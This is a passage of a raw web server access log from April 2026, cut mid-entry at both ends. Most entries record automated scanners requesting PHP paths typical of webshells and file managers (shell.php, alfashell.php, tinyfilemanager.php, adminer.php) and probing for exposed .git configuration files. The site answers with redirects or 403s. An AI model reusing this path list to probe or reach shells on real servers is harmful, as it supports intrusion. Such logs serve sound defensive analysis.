+0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:30:52 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:31:17 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:31:49 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:32:13 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:32:46 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:32:46 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 89.163.146.197 - - [16/Apr/2026:11:45:01 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.213.224.11 - - [16/Apr/2026:12:19:34 +0300] "GET /wp-xme.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:20:03 +0300] "GET /2468.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:20:11 +0300] "GET /eterezrezt.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:20:41 +0300] "GET /amdin.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:26 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:30 +0300] "GET //nwflm.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:44 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:48 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:04 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:25:24 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:28:10 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:28:13 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:28:50 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 31.220.83.22 - - [16/Apr/2026:11:29:04 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.165.189.110 - - [16/Apr/2026:12:17:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.213.224.11 - - [16/Apr/2026:12:19:40 +0300] "GET /il.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:19:44 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:19:49 +0300] "GET /.well-known/adminer.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:20:26 +0300] "GET //wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:20:29 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:20 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:37 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:37 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:18 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:24:18 +0300] "GET /.well-known/nastar.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:24:22 +0300] "GET /f35_S.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:24:52 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:25:01 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:26:58 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:01 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:36 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:29:03 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:32:58 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:19:27 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:19:56 +0300] "GET /ypp.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:24 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:25:58 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:26:29 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:29:09 +0300] "GET /bless4.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:31:57 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:33:13 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:33:44 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:33:45 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 170.106.192.3 - - [16/Apr/2026:11:31:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.213.224.11 - - [16/Apr/2026:12:21:09 +0300] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:55 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:59 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:24:41 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:25:16 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:25:33 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:26:17 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:27:54 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:28:40 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:28:41 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:29:35 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:29:50 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:30:38 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:33:24 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:21:00 +0300] "GET /puc.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:22:33 +0300] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:12 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:23:56 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:24:30 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:26:03 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:30:05 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:30:07 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:30:22 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:31:34 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:14 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:31 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:31 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:37:35 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:38:26 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:38:27 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:39:35 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:46 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:46 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:35:39 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:27 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:37:51 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:49 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:37:18 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:40:16 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:24 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:58 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:35:58 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:22 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:44 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:37:08 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:39:07 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:39:50 +0300] "GET /x1da.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:38:44 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:33:56 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:34:00 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:35:15 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:37:25 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:37:43 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:38:10 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:40:01 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:35:49 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:57 +0300] "GET //cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:37:58 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:38:57 +0300] "GET /hypo.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:39:16 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:35:29 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:09 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:09 +0300] "GET //wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:36:36 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:38:15 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:38:33 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "-" 172.213.224.11 - - [16/Apr/2026:12:39:25 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 152.42.239.142 - - [16/Apr/2026:13:08:53 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 123.187.240.242 - - [16/Apr/2026:13:26:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.68.111.241 - - [16/Apr/2026:14:10:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.241 - - [16/Apr/2026:14:10:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 112.202.47.228 - - [16/Apr/2026:13:15:48 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.128.67.187 - - [16/Apr/2026:16:03:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.42.252 - - [16/Apr/2026:16:36:13 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2668.73 Safari/537.36 OPR/63.0.3368.43" 102.129.223.92 - - [16/Apr/2026:16:28:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:114.0) Gecko/20100101 Firefox/114.0" 43.156.202.34 - - [16/Apr/2026:16:42:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.123.32.230 - - [16/Apr/2026:17:54:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 43.228.157.68 - - [16/Apr/2026:19:58:39 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 34.123.32.230 - - [16/Apr/2026:18:47:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.172.24.170 - - [16/Apr/2026:19:08:08 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.228.157.68 - - [16/Apr/2026:19:58:40 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 173.252.87.9 - - [16/Apr/2026:18:56:17 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.228.157.68 - - [16/Apr/2026:19:58:40 +0300] "GET /public/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 49.51.233.95 - - [16/Apr/2026:20:51:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.132.195.40 - - [16/Apr/2026:21:24:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 101.132.222.120 - - [16/Apr/2026:21:30:24 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 165.227.215.115 - - [16/Apr/2026:22:28:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 54.78.149.231 - - [16/Apr/2026:22:26:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 165.227.215.115 - - [16/Apr/2026:22:28:40 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 85.137.48.167 - - [16/Apr/2026:22:33:50 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.135.145.73 - - [16/Apr/2026:21:46:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.107.222.225 - - [16/Apr/2026:21:46:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.112.20 - - [16/Apr/2026:22:16:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 54.78.149.231 - - [16/Apr/2026:22:26:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 20.100.206.196 - - [17/Apr/2026:01:51:28 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:51:31 +0300] "GET /mifta.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:51:46 +0300] "GET /packsin1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:55:41 +0300] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:57:57 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:59:28 +0300] "GET /r2.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:00:35 +0300] "GET /aios-bootstrap.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:00:48 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:02:59 +0300] "GET /fone1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:01 +0300] "GET /Ipv6.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:45 +0300] "GET /xper.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:40 +0300] "GET /global.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:43 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:58 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:45 +0300] "GET /e3.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:08:08 +0300] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:40 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:43 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:46 +0300] "GET /tiny2.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:50 +0300] "GET /state.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:53 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:55:14 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:57:33 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 221.229.106.25 - - [17/Apr/2026:01:57:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.100.206.196 - - [17/Apr/2026:01:59:15 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:01:13 +0300] "GET /gelio1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:02:12 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:02:20 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:39 +0300] "GET /saorix1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:57 +0300] "GET /wxpass.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:05:14 +0300] "GET /wp-block.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:01 +0300] "GET /ws61.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:03 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:07:23 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:09:26 +0300] "GET /goods_260401065719.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:53:21 +0300] "GET /wgift1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:54:26 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:54:36 +0300] "GET /tiny HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:54:39 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:56:42 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:57:21 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:57:41 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:58:23 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:58:41 +0300] "GET /bdktk.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:01:22 +0300] "GET /areak1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:01:36 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:07 +0300] "GET /file-gertdxz.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:07:33 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 14.18.16.150 - - [17/Apr/2026:02:20:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 47.91.104.88 - - [17/Apr/2026:02:29:08 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.100.206.196 - - [17/Apr/2026:01:51:58 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:53:29 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:55:55 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:57:14 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:58:51 +0300] "GET /v5.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:58:54 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:59:41 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:01:28 +0300] "GET /qqa.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:02:28 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:17 +0300] "GET /xper1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:27 +0300] "GET /wglum1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:05:21 +0300] "GET /wp-includes/wincust.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:08:19 +0300] "GET /sallu.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:08:55 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:09:10 +0300] "GET /goods_260325043000.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:51:04 +0300] "GET 